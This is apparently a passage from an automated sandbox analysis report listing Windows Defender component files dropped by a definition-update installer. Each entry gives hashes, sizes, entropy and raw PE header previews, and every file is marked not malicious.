                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Events" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<dependency discoverable="false" optional="false" resourceType="Resources">....<dependentAssembly>.....<assemblyIdentity buildType="release" language="*" name="Windows-Defender-Events.Resources" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384"></assemblyIdentity>....</dependentAssembly>...</dependency>... .. ***********************************************************************************************************.. BEGIN FILES SECTION .. ***********************************************************************************************************.. --
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):209144
                                                            Entropy (8bit):5.205036912846813
                                                            Encrypted:false
                                                            SSDEEP:6144:PmiTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVVOVVUVZVVVVVjVVJL:tr
                                                            MD5:A27F0ABF90F3B468C6F15CDAFBBC3312
                                                            SHA1:D75B9FD570E9650F583F15F0F0F37EB2CBC39EC4
                                                            SHA-256:503DF4EF842D6621139D4A15D68955E4926C0C6B5CCCEF60323290A6FC08343F
                                                            SHA-512:9716144577A19591E12BB10732FF135D00928D1C5951AB220057A4A00D42B74E8980825D6DD60A8486EE1EC75CBAEA7C5525D4F4E600F5F869BEABA53C7D5FE2
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d....z..........." ......................................................................`A......................................................... ................... ..............T............................................................................rdata..............................@..@.rsrc........ ....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):1409272
                                                            Entropy (8bit):6.2399898718653075
                                                            Encrypted:false
                                                            SSDEEP:24576:5k4dJL+FQJApr2tz1+lC2zxw6y2os4OXB7vcHFzqh7OcI:5k4dJK+Jur2tz1+lC2VO2osDy
                                                            MD5:C10F256B7606EE5B1BED880020F68912
                                                            SHA1:76B51FDD50A3EEBD4B55D97E3C9A8B8C79EDF978
                                                            SHA-256:C649EC99F87F684D22157755E5F8E0AF7C1EFD54853493965A673A3F0FFB4AC6
                                                            SHA-512:A5A9C4190A831D1FE2EADD1AB9FE97A0BE39FE4EE97A0F223D0AC42E80C72FA2B77AA0D2F929A3B2F10E7AB4E850BC7DF1DE420CAFD7289C08C763D951D997CB
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........`J.v3J.v3J.v3..u2K.v3..w2Y.v3J.w3u.v3..u2Y.v3..r2a.v3..s2..v3..3H.v3..v2K.v3...2.v3..3K.v3..t2K.v3RichJ.v3................PE..d................" .....P... .................f....................................r4....`A........................................`b.......c.......@.......@.......`... ...P...,..|k..p.......................(.......8............................................text...HO.......P.................. ..`.rdata..$....`... ...`..............@..@.data...8...........................@....pdata.......@....... ..............@..@.rsrc........@....... ..............@..@.reloc...,...P...0...0..............@..B................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpClient.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):1151224
                                                            Entropy (8bit):6.1798062394748685
                                                            Encrypted:false
                                                            SSDEEP:24576:MLG0IKv+HzAmqQBrTPQWNRIyQhZBcfy0RkgJ:cGFu+HzAmqEQWNRIypfy0J
                                                            MD5:FD7D2158F21085FF8E8C46829839708E
                                                            SHA1:1749008645208E9769DD68D36124113E71923F6D
                                                            SHA-256:DE50D8BB61B7F0BB423E4A50A6775192C4809F63C18BE9426C4AC2E127BB9DA9
                                                            SHA-512:03707AEAF1FED4C2BDC2CA4167498C5F7C57153A47F386D9C6A7A0DF75CD5B3C54D01A42AB56B6FDBF9A10E26213A6540FDE19F5036DC8E659500F19D728AFF0
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................V..........................................?.............i.....V.......V........?......V.k.....V.......Rich............PE..d...f............." .................g.........[....................................3.....`A................................................8...T....@...............p... ...P...!......p...................(o..(.......8...........Po...............................text............................... ..`.rdata...R.......`..................@..@.data...............................@....pdata..............................@..@.didat.......0....... ..............@....rsrc........@.......0..............@..@.reloc...!...P...0...@..............@..B................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):884544
                                                            Entropy (8bit):6.103389158363899
                                                            Encrypted:false
                                                            SSDEEP:12288:b1SQ6UqCplyaRffknhoV55jmvuN7Wk0mCBRUe:b+UbnkhoVLmvuNqBGe
                                                            MD5:D50CBCB0B8B3282CD169E0032361D418
                                                            SHA1:948E0431282837D2E654BFD805461967B99E63B4
                                                            SHA-256:F7B6EB6E4D8E04C7243AB0AB73CEC6E20E980F07E03267ED4B0CA69CF9CDAB3D
                                                            SHA-512:13184B5DFD5E82C44F1451AD426B7FB8ACE63923679D4210C3B2CACE6691DBACD113E9D55FFB041D1C79C46A80C128EE5D2A97E874487A938DBCF08C03A1C3EC
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............`...`...`..z....`..z....`..&....`..&....`....l..`..&....`..&....`...`...b..z...I`......`..z....`..z....`..Rich.`..........................PE..d................"..........0.................@.............................P.......j............... ..............................................p..........,O...@..@?...@..........p....................J..(....(..8...........@J......8........................text...[........................... ..`.rdata..>.... ....... ..............@..@.data....M.......@..................@....pdata..,O.......P..................@..@.didat.......`.......P..............@....rsrc........p.......`..............@..@.reloc.......@.......0..............@..B........................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCommu.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):352504
                                                            Entropy (8bit):6.026593673622959
                                                            Encrypted:false
                                                            SSDEEP:6144:yOoa9kPfLM055gj5qDj8qdzRf8IGRx7Ur9opJtwEKLoi7GG75li:yXHjgjELzRf4q9oduLR77i
                                                            MD5:98DE76E6BD6919C81785F34F3E4E4025
                                                            SHA1:9E1BF8C617D7D629623D16DE29889659F4623066
                                                            SHA-256:A5D1C85E15E4454D0CF4E613107F688B540A046659F1DDECA859B395335BD50D
                                                            SHA-512:5F233E59E8C4BB320C5BCD42505300EFEAA519FE35B1877A7213CB471162A1BB613C027FBDB1126FB6E747A704CDE4D799FC4421808819650126D4A9EB282557
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........I...I...I......K......H.......E.......G.......A...@.o.X...I...........e......H.............H......H...RichI...................PE..d....5.}.........." ................`..........f.............................P......n.....`A........................................................0...........,...@... ...@..(...l...p...................H...(.......8...........p...............................text...5........................... ..`.rdata........... ..................@..@.data....#....... ..................@....pdata...,.......0..................@..@.didat..X.... ......................@....rsrc........0....... ..............@..@.reloc..(....@.......0..............@..B................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCopyAccelerator.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):165576
                                                            Entropy (8bit):5.403399700794782
                                                            Encrypted:false
                                                            SSDEEP:3072:Obc/k/710XdiWNGKTeoKeMK9OQWExQc5W:OIM/72IWb9n9OQWEno
                                                            MD5:B613F7C352DB0471338A01FA7CF94521
                                                            SHA1:04618A6DD7100D957E6B190F70C263F1FF775CAB
                                                            SHA-256:71ABD7C64E51AF9A750A31BAC218F9E6781C913869D97AA4024C2456E101CB20
                                                            SHA-512:0D538585A972252EF6FF99C3ABB8F682201EE33A0FDFADB5BDCBEEE65E38D2C64BF8893B1691276ABF8F44303309BECF89AE0E74C3248609FB93FA22A6CD8F5D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................................F......F.......B....F......F..................................Rich....................PE..d.....J..........."..........P................@.............................`....................... .......................................Z..................<....`...&...P..4....8..p.......................(.......8...........8................................text............................... ..`.rdata...].......`..................@..@.data........p.......p..............@....pdata..<...........................@..@.rsrc...............................@..@.reloc..4....P.......P..............@..B................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetours.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):164088
                                                            Entropy (8bit):5.889246599238573
                                                            Encrypted:false
                                                            SSDEEP:3072:LhAcjxmGnxakZmOpjZrppk4sGFO5SVyT+/t5xRbOz8kKbc/3u:LKc4GnQeVaGs5ZgbRk6cG
                                                            MD5:6694C427D876FEEC65126E7734886E88
                                                            SHA1:F6F08ADEEA556B241E4010F538DA7E6C32047628
                                                            SHA-256:A76E653BA8D251379133B748B685C08672A69D1CF95493549E563CFAD8A8D7A5
                                                            SHA-512:620A52BF3D503B82D82799C48A23CF4AA8BD7E399C343192EDB52E28FA6815976C90621D1B2E5EB841B0711F5F4191BFB141529CC341EAA215A8905A65FA0010
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:Q..~0t.~0t.~0t..Ew..0t..Bu.n0t..Bp.r0t..Bw.y0t.wH.q0t.~0u.M1t..Bq.W0t..Et..0t..E}.60t..E...0t..Ev..0t.Rich~0t.................PE..d.....x..........." .........................................................p............`A.........................................................P.......0.......`... ...`......@...p.......................(...`...8............................................text....v.......................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ... ..............@..@.rsrc........P.......@..............@..@.reloc.......`.......P..............@..B................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetoursCopyAccelerator.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):102632
                                                            Entropy (8bit):5.416424506292462
                                                            Encrypted:false
                                                            SSDEEP:1536:dnC8TM3nUZtTOwts7XxhrTNCfDgFvFJ2m6K2mPegHPxG:ZTM3UZtTOwW7XTNCfDGdBx2mPeqk
                                                            MD5:50E2C916D6B2E5CDCED1BF18BEF5B9E6
                                                            SHA1:523DA8427550B397352D0C7D9770BBE57E31C5CD
                                                            SHA-256:C880E519887E5AFD35612BDAF4F987D79ED294050A4D291B54B18F7F3C80A89D
                                                            SHA-512:C95F1D480DC1EF5587C9B9CE89F9C58550B2CD7E1E2389DE3A02DFBF541C9BBF66AFEC724767B574C81236FF0F5AE9C25D99702BA76FFC214290536C32BD6F3D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s.v. .v. .v. U..!.v. ...!.v. ...!.v. ...!.v. ..U .v. .v. .w. ...!.v. U..!.v. U..!.v. U.9 .v. U..!.v. Rich.v. ........PE..d...F[.S.........." .................^...............................................j....`A........................................0...H...x........`..X....P.......p... ...p..........p...................h...(...0...8...............0............................text...R........................... ..`.rdata..*W.......`..................@..@.data........0.......0..............@....pdata.......P.......@..............@..@.rsrc...X....`.......P..............@..@.reloc.......p.......`..............@..B........................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDlpCmd.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):372176
                                                            Entropy (8bit):5.810540726487847
                                                            Encrypted:false
                                                            SSDEEP:6144:SqKvKD0BvxUWJsoyvdnja6lHfF2tZLmiTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVi:jyBWGxyvmR1
                                                            MD5:9DA1C405AF787EFBAF735B76388F867F
                                                            SHA1:7C9F2DD2C72A15B2954534BB7021C9DB3F850DA1
                                                            SHA-256:7E7180B5534BE4BF2E531DCCE4BD8C0CB55EEC93759625283A162C0F6149464F
                                                            SHA-512:66190E1EA2D6FA7EE048D204746216B8C8146C0F17114CA1651B566632F32970F2F6113131338D96D43FDCA33A9266D142016DCD6369F27CE6657DF12FB823E5
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.8...k...k...k7v.j...k7v.j...kkq.j...kkq.j...k.{sk...kkq.j...kkq.k...kkq.j...k...k...k7v.j...k7v.k...k7v.j...kRich...k................PE..d...V..F.........."..................9.........@....................................y................ ......................................4...@....p.......P..<........-......l...P...p.......................(...`...8...............h............................text...E........................... ..`.rdata...}..........................@..@.data........0.......0..............@....pdata..<....P... ...@..............@..@.rsrc........p.......`..............@..@.reloc..l............p..............@..B........................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpEvMsg.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):143608
                                                            Entropy (8bit):3.8404828233814126
                                                            Encrypted:false
                                                            SSDEEP:768:7r/gwWulQnuBkG22Tumo0cTH6QKqCmuKqrWmNKq4mZKqdmjd4KqgmXyGgR1PRGzm:QIBkG2usKoHPim
                                                            MD5:E6BA4B06A514B05F1A6F67E02776CB12
                                                            SHA1:40CE66816509483AD45B8B6DE05D5F9AC23671CB
                                                            SHA-256:3E69F409180506A6636CA8F0620AB0CC9B57F1393AC5986CC8BBE50BEF12C9C2
                                                            SHA-512:C8DDB425AEA945C86742ED8E8940E655BC24AB66EE4FAEDB7F29FA7A187809DABD326A529777691481E53C55D5119402D4016CDED33919840AC98D9C636C3022
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d................." ......................................................................`A......................................................... ................... ..............T............................................................................rdata..............................@..@.rsrc........ ....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpOAV.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):495848
                                                            Entropy (8bit):6.009124528357715
                                                            Encrypted:false
                                                            SSDEEP:6144:l7A3ZwUGB8s0MYG75D5DU3b9EV0ShqJULr0XVCOPmiTVVmVVV8VVNVVVcVVVxVVV:lk3a7J5DS9EV0MqJULrkkMo
                                                            MD5:507A1C4DC135D31E60E46C911F518352
                                                            SHA1:94D0E5C74AD632CDE21A967FD6A06999153B6CC7
                                                            SHA-256:07AA7775DEC86AFEF867C3B902BCF47CCB36E224433171EB6C4C0E3D80F753AB
                                                            SHA-512:FD980B28BA5E60536D695707716B4AC5B2AD63EEF1AF82534B326E2DBF6CA349DDA189C70CAF638C2AB6C3D6EB187F3C613FC5097C645C4272D9C60E8E2BE305
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M...#...#...#.v. ...#.*."..#..."..#.*.'..#.*. ...#.*.&.>.#.v.#...#.v.*..#.v.....#.v.!...#.Rich..#.........PE..d...A............." ..........................._..........................................`A................................................D...x............`...#...p... ......t.......p....................8..(...P7..8............8..p............................text..."........................... ..`.rdata..............................@..@.data....0... ... ... ..............@....pdata...#...`...0...@..............@..@.rsrc................p..............@..@.reloc..t............`..............@..B................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpRtp.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):1478904
                                                            Entropy (8bit):6.324410065456569
                                                            Encrypted:false
                                                            SSDEEP:24576:43IcInwFd0DDgUkXbikt2m94TdJdiLyvBW+IYHMb1ie:4YrvDDgsm2mWJdiLiBWZQMb1ie
                                                            MD5:EABFAF1CE6CB8843DA42FBA01E8BF069
                                                            SHA1:ADBD3EF5C4EBD0D395B157489A3B5D34EAB8CFFF
                                                            SHA-256:CA99B8EAA6ED8C706590551BE37107D027BBD53CC9E52805446ADF59B3AEDC1E
                                                            SHA-512:AFF68BBE9B8A086E2E49BDBC864DE8FA8E5990F23F38B385CDEE56C189C52088B24DD492A779EA2ECDD751AB682B81041B674E854DCB190F8EBD10079FC1F68C
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)...)...)..M\...)..M\...)...[...)...)...(...[...)...[...)...[...)..M\...)..M\...)..M\W..)..M\...)..Rich.)..........PE..d....t`.........." ...........................^..........................................`A........................................P...d............ ...B...p.......p... ...p......`...p.......................(......8...........(.......4... ....................text....t.......................... ..`.rdata..^V.......`..................@..@.data...<p.......`..................@....pdata.......p.......P..............@..@.didat..X...........................@....rsrc....B... ...P..................@..@.reloc.......p... ...P..............@..B................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):803176
                                                            Entropy (8bit):6.37118649960636
                                                            Encrypted:false
                                                            SSDEEP:24576:Ghj1QlBYDgtUUvie3n+pB3+ojRlcD1VyZTFXk:GhpQlBHtBYla1VyZpU
                                                            MD5:01F92DC7A766FF783AE7AF40FD0334FB
                                                            SHA1:45D7B8E98E22F939ED0083FE31204CAA9A72FA76
                                                            SHA-256:FA42B9B84754E2E8368E8929FA045BE86DBD72678176EE75814D2A16D23E5C26
                                                            SHA-512:BEA5F3D7FB0984C4A71720F25644CE3151FCDC95586E1E2FFE804D04567AAF30D8678608110E241C7DDF908F94882EDDD84A994573B0C808D1C064F0E135A583
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..#...#...#..EV...#...Q...#...Q...#...Q...#...Q...#...#..."..EV..#..EVN..#..EV...#..Rich.#..........PE..d.....P.........."......`....................@.............................0.......-....`.......... .......................................t..d....... ........D... ..h!... ......d...p.......................(......8...........0................................text...2R.......`.................. ..`.rdata.......p... ...p..............@..@.data..../....... ..................@....pdata...D.......P..................@..@.rsrc... ...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):3113208
                                                            Entropy (8bit):6.304406527619417
                                                            Encrypted:false
                                                            SSDEEP:49152:RThS41BElO7Jyf4HtxHnXXnh/vz1ztLm0exGP9lbw6ieBh4wBg:nR/EE7ofGx1fFxg
                                                            MD5:0618D6AA4B96E666F1C3B79CA1531187
                                                            SHA1:037AA87516FA27ADAE6499FFE314601262FE8E8A
                                                            SHA-256:89FD82BABFEE76643CA0F3DC4730302575E2BCCB00F744090D9E253A8CD9EE53
                                                            SHA-512:457ECDAF9CC2AB3E6E26F8899831979AC5B1D0D59483CFC30A815280CD362173E0E349F5CC28F45DE25E2AB9DF4731768CF06A0C8E66E595847A67A43833F481
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........!.\Z@..Z@..Z@...5..X@...5..[@...2..H@...2..H@...2..S@..S8*.M@..Z@...B...2..j@...2D.X@...5..[@...5..?A..}...]@...5F.[@...5..[@..RichZ@..........................PE..d................." ......"....................\............................../......;0...`A.........................................B,.d....C,.h.......`....p-.d1...`/.. ...P/.h4.../(.p.....................#.(.....".8.............#......;,.@....................text....q"......."................. ..`.rdata........".......".............@..@.data.........,.......,.............@....pdata..d1...p-..@...@-.............@..@.didat..............................@....rsrc...`...........................@..@.reloc..h4...P/..@... /.............@..B........................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUpdate.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):151800
                                                            Entropy (8bit):5.674686738982597
                                                            Encrypted:false
                                                            SSDEEP:1536:LJ9Z2WHykjzKo81vmwUGKyBA3LTqjSL0fieoeKTePoWQbzkDHP+W:LJ9b3Kd1vm/GymuL0fieoeKTePovbzsT
                                                            MD5:BA4E1FC83B68F72927F58BBFA064C294
                                                            SHA1:F0F57EB79F2478D7BFE4AD4D18361D2F09E3E03A
                                                            SHA-256:23C224794D0342F3C97D6F104B40465A8C314186DD3A9F0CBBC9A9441700AE83
                                                            SHA-512:789D52FF5491488B162422BFB4A6D4FB9D40E905B6A370AD2A9F20BA095B9485D5AF07EB8CD660D2BF4F4906DC1FA68ACD223ACFE913FC5F99F78FBDA56DDCA4
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ew9{!.W(!.W(!.W(.cT) .W(.cV)#.W(.dV)0.W(.dS),.W(.dT)&.W((n.(/.W(!.V(q.W(.dR)..W(.cW) .W(.c^)n.W(.c.( .W(.cU) .W(Rich!.W(........................PE..d.... 3".........." ..... .....................h.............................@............`A............................................L...\........ ...............0... ...0......@...p...................xU..(...@T..8............U...............................text............ .................. ..`.rdata..D....0.......0..............@..@.data... ...........................@....pdata........... ..................@..@.rsrc........ ......................@..@.reloc.......0....... ..............@..B................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUxAgent.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):545016
                                                            Entropy (8bit):5.974310663865527
                                                            Encrypted:false
                                                            SSDEEP:6144:j/zDRgR8KZHQf7uiJRpqVCy6H5gAH2IGCXl/2UWYbyKHiTVVmVVV8VVNVVVcVVVB:7zDRvDp/qVC1gAH2IGCXlPh4S
                                                            MD5:68228D20DFAA033D246B8BED272CF92C
                                                            SHA1:F351C4991FFC3190131B279E06A0F58856EBC375
                                                            SHA-256:C44F961691C4F91AD370985D5EB281F843EB5DCF6F5EC98D9C9A509E789CB7E8
                                                            SHA-512:2B327EB01858A1B7C80275B9F5B3B642592DFE0AD357B3C65D7C483D0CB59178CB33A245408BC0A962F28594B504C0F17521F567A8AD5CA981A770CC9B857916
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>7._Y.._Y.._Y..*Z.._Y..*X.._Y.Y-X.._Y.Y-].._Y.Y-Z.._Y..'.._Y.._X..^Y.Y-\.._Y.Y-..._Y..*Y.._Y..*P.._Y..*..._Y..*[.._Y.Rich._Y.........PE..d.....2.........." .................&.......................................0......;......A................................................8........0..\........#...0... ... ...... ..p...................X...(... ...8...............x............................text...%........................... ..`.rdata..x........ ..................@..@.data....-.......0..................@....pdata...#.......0..................@..@.rsrc...\....0.......0..............@..@.reloc....... ....... ..............@..B........................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):128392
                                                            Entropy (8bit):5.775533067291842
                                                            Encrypted:false
                                                            SSDEEP:3072:gPkBbbztTh/9kcexTIJO0gj7KTe9q7CTttUSkh6e5:gPIfRh/9kUJDZuttUNse
                                                            MD5:15D205854CA62B75C0BF447F9DD8119D
                                                            SHA1:F1A1874738E310CE76D37C1045EA00C0CEFCF64B
                                                            SHA-256:B815A94D49CC0E8DB03456CBBAFB4A052F481531F8768CE704A2A012FD84B7AB
                                                            SHA-512:A6B324F884525875849994EE2247B98BF3D389A49B4E387A578F05E92FB754CEF6AD917D5CE201A40E88FDAA0A117C6D23EB5B7FEA6F4765F48EE957AB471B85
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........-.U.L...L...L..W9...L...>...L...>...L...4...L...>...L...>...L...L...M..W9...L..W9y..L..W9...L..Rich.L..........PE..d....MCD.........."...........................@.....................................N......................................................tj..................|........%......`....<..p....................$..(...."..8...........@$...............................text...B........................... ..`.rdata...Y... ...`... ..............@..@.data...............................@....pdata..|........ ..................@..@.rsrc...............................@..@.reloc..`...........................@..B................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpLics.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):20728
                                                            Entropy (8bit):4.482228069977977
                                                            Encrypted:false
                                                            SSDEEP:192:7rPEnfKWgFHWaALc2Fu462TNOxjB1RDBQABJpI4BOk9qnajR5d:7rPEniWgFHWa1MJERDBRJpxBhl95
                                                            MD5:7B842DAC975E04C90F9B23B7D04B5160
                                                            SHA1:DE370B7FBC16E36955A700D472BAD83A029F2B52
                                                            SHA-256:61D412008B89D3B931BC9E8AD731F792DD9EF2D2F147916103B8F9392CF8D501
                                                            SHA-512:7D7891BC65B67D9FB9CBA00953A3B86FEFD987EAE2718C79C36B17E1DDAC054A40E3DDE7AF662C8126C2B8440F172C7DF01C24469A8C0D57BD719255BD432F72
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d....I?.........." ......... ...............................................0......P.....`A......................................................... ...............0... ..............T............................................................................rdata..............................@..@.rsrc........ ....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
